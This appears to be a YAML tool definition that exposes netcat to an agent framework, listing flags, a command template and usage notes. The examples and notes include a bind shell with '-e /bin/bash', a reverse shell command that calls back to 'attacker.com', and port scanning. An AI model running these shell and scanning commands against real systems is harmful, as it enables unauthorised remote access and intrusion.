name: nc
category: network
description: Network utility for reading/writing network connections. Swiss army knife for networking.
keywords:
  - network
  - connect
  - listen
  - shell
  - transfer
  - port
  - tcp
  - udp
  - banner

parameters:
  host:
    type: string
    description: Target host (for connect mode)

  port:
    type: string
    description: Port number or range

  listen:
    type: boolean
    flag: "-l"
    description: Listen mode (wait for connections)

  verbose:
    type: boolean
    flag: "-v"
    description: Verbose output

  very_verbose:
    type: boolean
    flag: "-vv"
    description: Very verbose output

  udp:
    type: boolean
    flag: "-u"
    description: UDP mode instead of TCP

  zero_io:
    type: boolean
    flag: "-z"
    description: Zero-I/O mode (port scanning)

  wait:
    type: integer
    flag: "-w"
    description: Timeout for connects and reads

  no_dns:
    type: boolean
    flag: "-n"
    description: Skip DNS lookups

  keep_open:
    type: boolean
    flag: "-k"
    description: Keep listening after disconnect

  execute:
    type: string
    flag: "-e"
    description: Execute command on connection (use with caution)

  source_port:
    type: integer
    flag: "-p"
    description: Local port to use

  source_address:
    type: string
    flag: "-s"
    description: Local address to use

requires_root: false
timeout: 60

command_template: "nc {listen?} {verbose?} {very_verbose?} {udp?} {zero_io?} {wait?} {no_dns?} {keep_open?} {source_port?} {source_address?} {host?} {port?}"

examples:
  - "nc -lvnp 4444"
  - "nc target.com 80"
  - "nc -zv target.com 1-1000"
  - "nc -u target.com 53"
  - "nc -lvnp 4444 -e /bin/bash"
  - "nc -w 3 target.com 22"

notes: |
  Common use cases:

  1. Port scanning:
     nc -zv target.com 1-1000

  2. Banner grabbing:
     nc -v target.com 80

  3. Listen for reverse shell:
     nc -lvnp 4444

  4. Connect back shell:
     nc attacker.com 4444 -e /bin/bash

  5. File transfer (receiver):
     nc -lvnp 4444 > file.txt

  6. File transfer (sender):
     nc target.com 4444 < file.txt

  7. Chat/messaging:
     Server: nc -lvnp 4444
     Client: nc server.com 4444

  Ncat (from nmap) has more features:
  - SSL support
  - Proxy support
  - Access control